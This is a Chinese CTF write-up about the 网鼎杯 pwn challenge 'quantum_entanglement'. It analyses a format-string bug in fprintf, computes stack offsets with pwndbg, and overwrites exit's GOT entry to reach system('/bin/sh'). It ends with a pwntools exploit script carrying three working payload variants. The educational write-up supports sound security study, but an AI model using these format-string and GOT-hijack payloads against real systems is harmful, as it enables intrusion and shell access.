表变量是什么_GOT表劫持PWN

声明:由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,知微安全以及文章作者不为此承担任何责任。知微安全拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经知微安全允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

上次介绍IO FILE的pwn题目时,提到exit函数中,会调用标准输出流(IO_2_1_stdout_)的vtable中的setbuf函数。可通过伪造vtable,劫持该函数,实现pwn。当时在想为什么不利用GOT表劫持exit呢?因此课下又复习了一遍GOT表劫持的原理。我想看完今天的介绍,大家也能明白其中的道理。

本期介绍今年网鼎杯的一道pwn题,quantum_entanglement。 题目不算难,利用到了格式化字符串任意地址写和GOT表劫持两个知识点。

0x00 利用点分析


首先分析main函数的关键逻辑:

32b4ac21703f7152a7b4277d3f4cea6d.png

如果v8不等于v4,则调用exit()退出,而我们需要程序执行后面的system(“/bin/sh”)。所以,解题的思路至少有2个,

思路1: 使v8等于v4,让程序执行system(“/bin/sh”),获取系统shell。 思路2: 修改exit函数过程中的某个函数地址,实现劫持。再查看if语句之前的代码,发现log_in函数存在格式化字符串漏洞。 f3b217b7b3f5b52dced8f836f5e0d0b7.png

这个漏洞比较隐蔽。fprintf函数的原型是fprintf(FILE* stream, const char* fmt, ...),其中第二个参数是格式化字符串,而不是第三个。这里的a1和a2两个参数由用户输入,故存在格式化字符串漏洞。

0x01 格式化字符串得参数


利用 pwndbg调试 程序,在main函数中,通过 b fprintf命令,在fprintf函数下断点。程序运行到断点后,计算字符串的内存地址相对于fprintf第二个参数的偏移量。 83bec16b79c23309f58850fc15cbc084.png 用户输入的FirstName字符串v10,本次调试中,位于栈上0xffffd094,fprintf的第二个参数的地址是0xffffd044,两者相距0xffffd094-0xffffd044=0x50。fprintf的每个参数在栈上占用4个字节,推算出v10是格式化字符串的第20个参数(0x50/4=20d)。用户输入的LastName字符串v11,比v10地址高(ebp-70h)-(ebp-D4h)=64h。因此v11是格式化字符串的第45个参数(20+64h/4=45)。 4af628ee1bfa1c293782e1f4ec9f148c.png 当FirstName字符串输入”AAAA%p%p%p%p”,执行完fprintf的输出为: 50d198d215f00f5509fc647c49fc7848.png

可以看到输出了栈上内容,输出的格式化字符串的第一个参数0x8048ac1 在栈上0xffffd048的位置,相对于fprintf的第二个参数0xffffd044,相距0xffffd048 - 0xffffd044 = 4。

0x02 思路1:栈上变量覆盖


修改v4和v8的值,使满足v4==v8,进而使程序跳过exit函数,执行system函数。v4和v8为int类型,是main函数的局部变量,存储在栈上。

4af628ee1bfa1c293782e1f4ec9f148c.png 利用格式化字符串覆盖栈上变量的格式为:
...[overwrite_addr]...%[overwrite_offset]$n
其中overwrite_addr为变量的内存地址,overwrite_offset为overwrite_addr处于格式化字符串的第几个参数,“...”为填充字符。 因此要修改 v4 或 v8 的值,我们 需要先获取其内存地址。 因为栈的基址和 libc 的基址类似,每次执行应用程序,加载的基址不一样。 所以我们需要先泄露栈地址。 Main 函数中,只允许我们输入两次,每次不超过 13 个字节。 修改一个变量最少需要 4+5=9 个字节(如 addr_v4%20$n , addr_v4 占 4 个字节,后面每个字符 1 个字节)。 综上,在题中的限制条件下,覆盖 v4 和 v8 变量的方法行不通,需要另想 办法。

0x03 思路2:GOT表劫持


不修改变量v4和v8的值,那么函数就会执行exit函数。exit函数是libc提供的函数,根据linux动态链接的相关知识可知,调用过程中会用到GOT表。GOT表存储在应用程序的数据段。

应用程序如果开启了随机地址保护(PIE),则每次运行程序,程序的基址、GOT表地址、PLT表地址,都会不一样。pwndbg中通过vmmap命令,可查看进程加载的每个文件的基址。

08b25b9fb8b6246c1307b13441294962.png 如上面的截图所示, the_end_patched 应用程序的基址和 libc 的基址、 ld 的基 址各不相同。所以上一期的IO FILE pwn题目中,无法根据泄露的libc基址,计算出应用程序GOT表的地址,也就无法使用GOT表劫持。 本题中的应用程序没有开启随机地址保护(No PIE),应用程序的基址是固定的(0x8048000),GOT表的地址也是固定的。 96086395a65b041a5b48e2302c834318.png 通过got命令,查看GOT表。 b6e06e41fd5d242f756c017fa664df79.png 图中可知,exit函数对应于GOT表中地址为0x804a028的内存。内存当前值为0x8048586,是exit@plt函数的地址。然后查看main函数,获取system函数的地址: 3034d29f645857dcc891ef83196123a3.png 因此通过将GOT表中exit项(地址0x804a028)的值0x8048586修改为system()的地址0x80489db,即可实现将exit函数劫持到system函数。

0x04 pwndbg调试


利用格式化字符串的任意地址覆盖方法,在没有输入长度限制的情况下,payload如下:

P32(0x804a028)+’%35287c’+’%20$hn’
其中 35 287=0x89db-4 ,加上前面的 4 字节地址,为写入 GOT 表的值 0x89db( 只需修改最后 2 字节 ) , 20 表示 v10 是格式化字符串的第 20 个参数, hn 表示覆盖 2 个字节。 这样的 payload 一共 4+7+6=17 个字节,超出 13 个字节的限 制。 题目给了两次输入,因此把paylaod拆分为两部分,分两次输入。第一次输入GOT 表中 exit 的地址, p32(0x804a028) 。 第二次输入写入地址的值, ’%35291c’+’%20$hn’ ,其中第二次输入因为少了目标地址的 4 个字节,所以直接使用 0x89db=35291 。 用两次输入的字符串拼接成一个完整的 payload ,这也是这道题为什么叫做量子纠缠( quantum_entanglement )的原因吧。 执行之后的结果如截图:

d72848da457e8319bfc899bd5ee095c8.png

0x05 其他方法

事实上,除了直接将GOT表中exit函数的地址修改为system函数地址,还有其它巧妙的方法。例如,将其劫持为sleep函数。这样exit(1)等效变成了sleep(1),Main函数执行完sleep之后,顺序执行system调用,获取shell。这种方法的好处是,因为exit@plt和sleep@plt的地址只有最后1个字节不同,所以只修改最后1个字节即可。最后,将几种方法罗列如下:

context.log_level = 'info'p = process("/root/Wangding2/entangled/quantum_entanglement")p.sendlineafter("FirstName:",p32(0x0804a028) )# Method 1: exit(1)=>system()payload = "%35291c%20$hn" # 2 bytes, 35291=0x89DB=system_addr # Method2: exit(1)=>sleep(1)#payload = "%34102c%20$hn" # 2 bytes, 34102=0x8536=sleep_plt # Method3: exit(1)=>sleep(1)#payload = "%54c%20$hhn" # 1 byte, 0x36=54 hhn  p.sendlineafter("LastName:",payload)p.interactive()

0x06 问题总结


(1) 格式化字符串实现任意地址写 格式化字符串可以实现任意地址读和任意地址写。实现写的利用中,需要借助地址,可以理解为值是写入整数指针(地址)对应的内存中。因此在修改栈上的变量时,需要先获取变量的地址。而栈的基址,也是和libc一样,每次执行加载到的内存不同。(读取栈上的变量时,可以直接根据偏移量读取,不需要地址。)

(2) GOT表劫持

Linux系统中,应用程序通过GOT表和PLT代码段调用动态链接库提供的函数。如果应用程序没有开启随机地址保护(No PIE),则GOT表和PLT代码段的地址是固定的,可以通过pwndbg调试获取。如果应用程序提供了任意地址写的机会,如格式化字符串漏洞,则可以通过修改某函数的GOT表项,实现函数劫持。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值